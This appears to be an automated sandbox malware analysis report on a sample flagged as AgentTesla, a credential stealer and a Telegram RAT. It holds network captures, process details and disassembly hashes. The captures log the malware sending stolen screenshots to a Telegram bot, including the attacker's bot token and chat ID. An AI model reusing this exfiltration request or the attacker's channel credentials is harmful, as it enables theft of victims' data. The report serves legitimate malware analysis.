2024-05-17 23:39:41 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:39:41 UTC	1414	OUT	Data Raw: 00 10 f4 a0 0f 9f 68 a2 8a d4 c0 db d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 a3 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b1 29 28 b0 5c 28 a2 8a 60 14 51 45 00 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 a8 e5 d7 2f a7 9e 19 ee 24 f3 e6 8a da 4b 6f 32 52 cc cc ae 1c 12 49 3c 90 24 38 fa 0a cc a2 90 5c 28 a2 8a 00 28 a2 8a 60 75 d3 78 c6 2b 98 e2 49 6d 1e 3f 2d 70 0a b0 6c ff 00 2c 74 a9 26 f1 b4 33 c5 e5 36 9a 62 07 ab ac 81 8f e5 81 fc eb 8d a2 b2 54 a0 94 12 5f 0e ab 7e f7 1b 93 6e 4f f9 b7 3a 2d 63 c4 ab a8 e9 0b a7 25 b3 2a ab 86 f3 19 b9 38 cf 6c 7b fa d7 3b 45 15 51 8a 8d ed d5 dc 1b 6e c9 f4 0a 28 a2 a8 46 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b ae d3 75 3b bb 86 da Data Ascii: h<I=.m`rS$?`;ucO)(\(`QEk\[/p(v/$Ko2RI<$8\((`ux+Im?-pl,t&36bT_~nO:-c%*8l{;EQn(F `2+u;
2024-05-17 23:39:41 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 64 39 66 39 65 30 37 64 35 38 61 2d 2d 0d 0a Data Ascii: -----------------------------8dccd9f9e07d58a--
2024-05-17 23:39:41 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:39:42 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:39:41 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49756	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:40:01 UTC	262	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc76a92388cec9 Host: api.telegram.org Content-Length: 67000 Expect: 100-continue Connection: Keep-Alive
2024-05-17 23:40:02 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 36 61 39 32 33 38 38 63 65 63 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 36 61 39 32 33 38 38 63 65 63 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 31 37 2f 32 30 32 34 20 31 39 3a 33 39 3a 35 39 0a 55 73 65 72 Data Ascii: -----------------------------8dc76a92388cec9Content-Disposition: form-data; name="chat_id"1165128482-----------------------------8dc76a92388cec9Content-Disposition: form-data; name="caption"New SC Recovered!Time: 05/17/2024 19:39:59User
2024-05-17 23:40:02 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:40:02 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:40:02 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:40:02 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:40:02 UTC	1414	OUT	Data Raw: 00 10 f4 a0 0f 9f 68 a2 8a d4 c0 db d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 a3 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b1 29 28 b0 5c 28 a2 8a 60 14 51 45 00 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 a8 e5 d7 2f a7 9e 19 ee 24 f3 e6 8a da 4b 6f 32 52 cc cc ae 1c 12 49 3c 90 24 38 fa 0a cc a2 90 5c 28 a2 8a 00 28 a2 8a 60 75 d3 78 c6 2b 98 e2 49 6d 1e 3f 2d 70 0a b0 6c ff 00 2c 74 a9 26 f1 b4 33 c5 e5 36 9a 62 07 ab ac 81 8f e5 81 fc eb 8d a2 b2 54 a0 94 12 5f 0e ab 7e f7 1b 93 6e 4f f9 b7 3a 2d 63 c4 ab a8 e9 0b a7 25 b3 2a ab 86 f3 19 b9 38 cf 6c 7b fa d7 3b 45 15 51 8a 8d ed d5 dc 1b 6e c9 f4 0a 28 a2 a8 46 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b ae d3 75 3b bb 86 da Data Ascii: h<I=.m`rS$?`;ucO)(\(`QEk\[/p(v/$Ko2RI<$8\((`ux+Im?-pl,t&36bT_~nO:-c%*8l{;EQn(F `2+u;
2024-05-17 23:40:02 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 36 61 39 32 33 38 38 63 65 63 39 2d 2d 0d 0a Data Ascii: -----------------------------8dc76a92388cec9--
2024-05-17 23:40:02 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:40:02 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:40:02 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Target ID:	0
Start time:	19:35:54
Start date:	17/05/2024
Path:	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe"
Imagebase:	0xfe0000
File size:	249'856 bytes
MD5 hash:	1022EEE3D28A81920664B590983AAFAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1661358396.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000000.1661358396.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000000.1661358396.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exePID: 6768, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	13.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	26
Total number of Limit Nodes:	2

Executed Functions

Function 06730040 Relevance: 9.0, Strings: 6, Instructions: 1480COMMON

Download Yara Rule

Strings

$dq, xrefs: 06731484
$dq, xrefs: 06731437
$dq, xrefs: 06731460
$dq, xrefs: 06731443
$dq, xrefs: 06731490
$dq, xrefs: 0673146C

Memory Dump Source

Source File: 00000000.00000002.4111250182.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID: $dq$$dq$$dq$$dq$$dq$$dq
API String ID: 0-2331353128
Opcode ID: 5868023746b15f5348bc5d6215c50908316c2503fed7765f977359bedf41da2f
Instruction ID: 2a8fbdbc9100e1dc8a7525c60140417f5ed17c2158638c86df8d9bee78db68af
Opcode Fuzzy Hash: 5868023746b15f5348bc5d6215c50908316c2503fed7765f977359bedf41da2f
Instruction Fuzzy Hash: ECD23834E102198FDB64DF68C594AADB7B2FF89310F54C5A9D409AB265EB34ED81CB80

Function 06739700 Relevance: 8.0, Strings: 6, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$dq, xrefs: 06739C59
$dq, xrefs: 06739C99
$dq, xrefs: 06739C8D
$dq, xrefs: 06739CCD
$dq, xrefs: 06739CC1
$dq, xrefs: 06739C65

Memory Dump Source

Source File: 00000000.00000002.4111250182.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID: $dq$$dq$$dq$$dq$$dq$$dq
API String ID: 0-2331353128
Opcode ID: 44b6449df751eaff2890638c9bc6d227384aee6d2af9fb783d27592473b7d206
Instruction ID: 756100d8c5d1d7a1efe957ddbcd94daff0116fac0d86b6ff7189c41a5e5fd9d4
Opcode Fuzzy Hash: 44b6449df751eaff2890638c9bc6d227384aee6d2af9fb783d27592473b7d206
Instruction Fuzzy Hash: 89026070E102298FDF64CF68D4806AEB7F2FB85310F24856AD605DB292EB75DC85CB91

Function 0673C450 Relevance: 4.3, Strings: 3, Instructions: 564
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHdq, xrefs: 0673C6B0
0oGp, xrefs: 0673C4E8
DqGp, xrefs: 0673C4F4

Memory Dump Source

Source File: 00000000.00000002.4111250182.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID: 0oGp$DqGp$PHdq
API String ID: 0-1641917722
Opcode ID: a14ae6bf6d7ae1d52f14becea4ab1c7509ae69c4e322ac3dc7f9b07ba206a854
Instruction ID: da83b8f31a89599358dee25d53518da930570288dbdc0076c2ac9d2d84215d5a
Opcode Fuzzy Hash: a14ae6bf6d7ae1d52f14becea4ab1c7509ae69c4e322ac3dc7f9b07ba206a854
Instruction Fuzzy Hash: 4822AF30B102158FDB55DB68D584BAEB7F6EF88310F218569D40AEB3A2DB35EC41CB91

Function 06735E38 Relevance: 3.0, Strings: 2, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$dq, xrefs: 067363D3
$dq, xrefs: 067363DF

Memory Dump Source

Source File: 00000000.00000002.4111250182.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID: $dq$$dq
API String ID: 0-2340669324
Opcode ID: 4b2785ab062febb7585ef5f461aeccc026f0c0aab4080ffa35471c4134861699
Instruction ID: 4d348ed564fa1c64d123cfcbdd572c4a021bccb3c6b84dcd6e958d90a8cc8df3
Opcode Fuzzy Hash: 4b2785ab062febb7585ef5f461aeccc026f0c0aab4080ffa35471c4134861699
Instruction Fuzzy Hash: 06029C30B102299FDB54DB68D994B6EB7E6FF88310F248529D905DB396DB35EC42CB80

Function 0673E0D8 Relevance: 2.8, Strings: 2, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$dq, xrefs: 0673E1D6
Xhq, xrefs: 0673E1EF

Memory Dump Source

Source File: 00000000.00000002.4111250182.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID: Xhq$$dq
API String ID: 0-4001282582
Opcode ID: 8474d3626f71c0303ef6a146d10644cfd04720e1e511f594887105a8f5925baa
Instruction ID: 5cf3d5f2821b0ced4f883bc5723db2a5b507bbc1dc7c877a7579faed70eae406
Opcode Fuzzy Hash: 8474d3626f71c0303ef6a146d10644cfd04720e1e511f594887105a8f5925baa
Instruction Fuzzy Hash: 0FB19275B002289FDB68EF78945427E7BA7BFC8750B15C42EE456DB385DE388C028791

Function 0321A1DB Relevance: 2.8, Instructions: 2763COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4107933800.0000000003210000.00000040.00000800.00020000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3210000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce54268fa4a3c2eab6fc1f40331da331b3c803e11bfa697987ab0e3a64f117a5
Instruction ID: cc5a8f418babda99f20732df0c4c342d92bc390999f650ae69861233d185d1fe
Opcode Fuzzy Hash: ce54268fa4a3c2eab6fc1f40331da331b3c803e11bfa697987ab0e3a64f117a5
Instruction Fuzzy Hash: 7453F731D10B1A8ADB11EF68C8846A9F7B1FF99300F55D79AE44877121FB70AAD4CB81

Function 0321D480 Relevance: 2.3, Instructions: 2300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4107933800.0000000003210000.00000040.00000800.00020000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3210000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deeb0bdc963e69a8532d45d246429ec107622377f2b0dd6fe18a390c601eebee
Instruction ID: eb0bd05661657562094984fd9a0001a793732e4757766ab7320913172408119e
Opcode Fuzzy Hash: deeb0bdc963e69a8532d45d246429ec107622377f2b0dd6fe18a390c601eebee
Instruction Fuzzy Hash: C0333031D1061ACECB11EF68C9806ADF7B5FF99300F15C79AD458A7221EB70AAD5CB81

Function 06733678 Relevance: 1.8, Strings: 1, Instructions: 589COMMON

Download Yara Rule

Strings

$, xrefs: 06733D0B

Memory Dump Source

Source File: 00000000.00000002.4111250182.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: b435f44676f58b2d20ee70dbc65a8d6b07519b44517d66828d7bee559bd3893a
Instruction ID: 1d3688985d401a3bd935ed98850ce73e9875c11ddf6383035e14aaffcb1ae598
Opcode Fuzzy Hash: b435f44676f58b2d20ee70dbc65a8d6b07519b44517d66828d7bee559bd3893a
Instruction Fuzzy Hash: 3922A071E00265DFDF60DBA4C5806BEBBB2FF89320F208569D855AB396DA35DC41CB90

Function 032141A0 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

\Vl, xrefs: 03214457

Memory Dump Source

Source File: 00000000.00000002.4107933800.0000000003210000.00000040.00000800.00020000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3210000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID: \Vl
API String ID: 0-682378881
Opcode ID: c36d9b8bf7d9e09e204259c5aa3bd518d4c9bb7cbd290cab2b9d74a56564ad57
Instruction ID: dc98da4cafd825a2924aebfcc9cb85971a5d398acf26275ae5adc15e8de8ddb3
Opcode Fuzzy Hash: c36d9b8bf7d9e09e204259c5aa3bd518d4c9bb7cbd290cab2b9d74a56564ad57
Instruction Fuzzy Hash: 77B17270E1020A8FDB14DFAADA857DDFBF2BF98304F188129D419E7254EB749891CB81

Function 03213E58 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\Vl, xrefs: 032140A3

Memory Dump Source

Source File: 00000000.00000002.4107933800.0000000003210000.00000040.00000800.00020000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3210000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID: \Vl
API String ID: 0-682378881
Opcode ID: 524ad0d7681283b18652149fa9ccede0bdb46c0b7ca64382d82818962442dd34
Instruction ID: b879bc2ba51b377eac7510672df36a70b3cfe568b49b4dd2a3d9e4a7ad88f347
Opcode Fuzzy Hash: 524ad0d7681283b18652149fa9ccede0bdb46c0b7ca64382d82818962442dd34
Instruction Fuzzy Hash: 1F918270E10209DFDF14DFAACA817DDBBF2BF98714F188129E418AB254DB749895CB81

Function 067346B0 Relevance: .8, Instructions: 819COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4111250182.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0982d4513018884c70dfae511b89ddc54949b963232499eba547b4fc52ca201
Instruction ID: b3091068565db2b5afbb88402d14aa1a6ffbea751f442871afd33659e4800aa3
Opcode Fuzzy Hash: d0982d4513018884c70dfae511b89ddc54949b963232499eba547b4fc52ca201
Instruction Fuzzy Hash: 58628D34A102189FDB58DB68D584BADB7F2EF88310F148569E906EB395DB35EC42CB90

Function 0673A240 Relevance: .7, Instructions: 652COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4111250182.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0aff6287c32f469e602e7f2497da390316d7e90348c38b22ad9f323e475eea3
Instruction ID: 7d92376fc66c7fb2f8a5f7ed87db0f75077a1facdf7519182a02c067f52ff605
Opcode Fuzzy Hash: a0aff6287c32f469e602e7f2497da390316d7e90348c38b22ad9f323e475eea3
Instruction Fuzzy Hash: 2D32AF70F102199FDB54DB68D881BAEB7B6FB88310F108429E545EB352DB35EC42CB91

Function 067392E3 Relevance: .6, Instructions: 568COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4111250182.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7d1e180df5e68a76bd9abbf6a53f862fe46d6455fc0679df6f938de9ae3ee80
Instruction ID: a8469172c435fa93e77a27c1f91c4463adb76bad31cb0bfb90d280261d9e4936
Opcode Fuzzy Hash: f7d1e180df5e68a76bd9abbf6a53f862fe46d6455fc0679df6f938de9ae3ee80
Instruction Fuzzy Hash: 93228470E101198FDF64CBA8D4807BEB7F6EB89310F248526D649DB392EA75DC81CB91

Function 03214A70 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4107933800.0000000003210000.00000040.00000800.00020000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3210000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa360b8da46fd2e6a06d5ae4040fd09d348f7a7afe4a0eae182deb307fcac0b7
Instruction ID: 81da546b51ae01612c9a71e040b6e2753b9c3d2be0428e803b12b9bfb8698070
Opcode Fuzzy Hash: fa360b8da46fd2e6a06d5ae4040fd09d348f7a7afe4a0eae182deb307fcac0b7
Instruction Fuzzy Hash: 84B17470E1020A8FDF14DFA9DA817DEBBF2BF58314F188529D418EB254EB749895CB81

Function 0321675C Relevance: 1.6, APIs: 1, Instructions: 65
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs
